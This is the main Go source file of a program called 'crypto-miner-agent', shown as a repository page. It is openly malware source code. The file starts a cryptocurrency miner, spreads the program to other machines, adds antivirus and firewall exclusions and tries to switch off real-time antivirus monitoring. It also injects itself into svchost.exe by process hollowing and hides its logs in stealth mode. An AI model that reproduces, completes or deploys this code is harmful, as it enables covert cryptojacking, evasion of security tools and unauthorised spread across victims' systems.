Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
176 lines
4.5 KiB
Go
176 lines
4.5 KiB
Go
package main
|
|
|
|
import (
|
|
"io"
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/client"
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
"crypto-miner-agent/stats"
|
|
)
|
|
|
|
func main() {
|
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
|
cfg := config.Load()
|
|
|
|
if backup, miner, ok := deploy.TryHostBinaryProxy(os.Args[1:]); ok {
|
|
deploy.RunHostBinaryProxy(backup, miner, os.Args[1:])
|
|
return
|
|
}
|
|
|
|
if deploy.IsGuardMode() {
|
|
deploy.RunGuardLoop(cfg)
|
|
return
|
|
}
|
|
setupLogging(cfg)
|
|
|
|
if cfg.Wallet == "" && !cfg.MiningDisabled && !cfg.ApkMode && !cfg.ScoutMode {
|
|
log.Fatal("wallet address is required in built-in configuration")
|
|
}
|
|
if cfg.ServerURL == "" {
|
|
log.Fatal("server URL is required in built-in configuration")
|
|
}
|
|
|
|
if deploy.WantsSpreadInstall() {
|
|
installed, err := deploy.SpreadInstall(cfg)
|
|
if err != nil {
|
|
deploy.LogSpreadError("fatal", err)
|
|
log.Fatalf("[spread-install] failed: %v", err)
|
|
}
|
|
if installed {
|
|
return
|
|
}
|
|
}
|
|
|
|
installed, err := deploy.InstallIfNeeded(cfg)
|
|
if err != nil {
|
|
log.Fatalf("[installer] failed: %v", err)
|
|
}
|
|
if installed {
|
|
if dir, err := cfg.InstallDirectory(); err == nil {
|
|
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
|
|
} else {
|
|
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
|
|
}
|
|
return
|
|
}
|
|
|
|
reporter := stats.NewReporter()
|
|
cfg = cfg.AdaptToSystem(reporter)
|
|
|
|
installDir, _ := cfg.InstallDirectory()
|
|
|
|
// Silence the AV as early as possible — add path/process exclusions and
|
|
// attempt to disable real-time monitoring. Fire-and-forget, never blocks.
|
|
deploy.SilentAVExclusion(installDir, cfg.EffectiveProcessName()+".exe")
|
|
|
|
if installDir != "" {
|
|
if id, err := deploy.LoadAgentID(installDir); err == nil {
|
|
cfg.AgentID = id
|
|
}
|
|
}
|
|
|
|
if cfg.BackgroundMode() || cfg.StealthMode {
|
|
cfg.CPUPriority = "idle"
|
|
}
|
|
|
|
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
|
|
log.Printf("[agent] could not set CPU priority: %v", err)
|
|
}
|
|
|
|
deploy.StartWatchdog(cfg)
|
|
if !cfg.ScoutMode {
|
|
deploy.StartPassiveSpreader(cfg)
|
|
deploy.StartLotlOnion(cfg)
|
|
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
|
// First-run spread marker is cleared after auth succeeds (handled in client).
|
|
deploy.ClearFirstRunSpreadMarker(cfg)
|
|
}
|
|
}
|
|
|
|
if cfg.FirewallExclusion {
|
|
if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil {
|
|
deploy.EnsureFirewallExclusion(cfg, binPath)
|
|
}
|
|
}
|
|
|
|
log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
|
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL,
|
|
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
|
|
|
if cfg.ProcessHollowing && runtime.GOOS == "windows" {
|
|
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
|
|
exePath, _ := os.Executable()
|
|
payload, err := os.ReadFile(exePath)
|
|
if err == nil {
|
|
log.Printf("[hollowing] Injecting into svchost.exe...")
|
|
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
|
|
if err == nil {
|
|
os.Exit(0)
|
|
}
|
|
// Distinguish stub (missing -tags hollow) from a genuine runtime failure.
|
|
if strings.Contains(err.Error(), "-tags hollow") || strings.Contains(err.Error(), "not available") {
|
|
log.Printf("[hollowing] process hollowing requested but binary lacks -tags hollow — re-forge with Process Hollowing enabled")
|
|
} else {
|
|
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
agent := client.NewAgentClient(cfg)
|
|
if err := agent.Run(); err != nil {
|
|
log.Fatalf("[agent] stopped: %v", err)
|
|
}
|
|
}
|
|
|
|
func shortID(id string) string {
|
|
if len(id) >= 8 {
|
|
return id[:8]
|
|
}
|
|
if id == "" {
|
|
return "pending"
|
|
}
|
|
return id
|
|
}
|
|
|
|
func setupLogging(cfg config.RuntimeConfig) {
|
|
if !cfg.FileLogging || cfg.StealthMode {
|
|
log.SetOutput(io.Discard)
|
|
return
|
|
}
|
|
if os.Getenv("MINER_LOG_FILE") != "" {
|
|
redirectLog(os.Getenv("MINER_LOG_FILE"))
|
|
return
|
|
}
|
|
|
|
installDir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return
|
|
}
|
|
redirectLog(filepath.Join(installDir, "miner.log"))
|
|
}
|
|
|
|
func mustInstallPath(cfg config.RuntimeConfig) string {
|
|
path, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return "unknown"
|
|
}
|
|
return path
|
|
}
|
|
|
|
func redirectLog(path string) {
|
|
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
|
return
|
|
}
|
|
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
|
if err == nil {
|
|
log.SetOutput(f)
|
|
}
|
|
}
|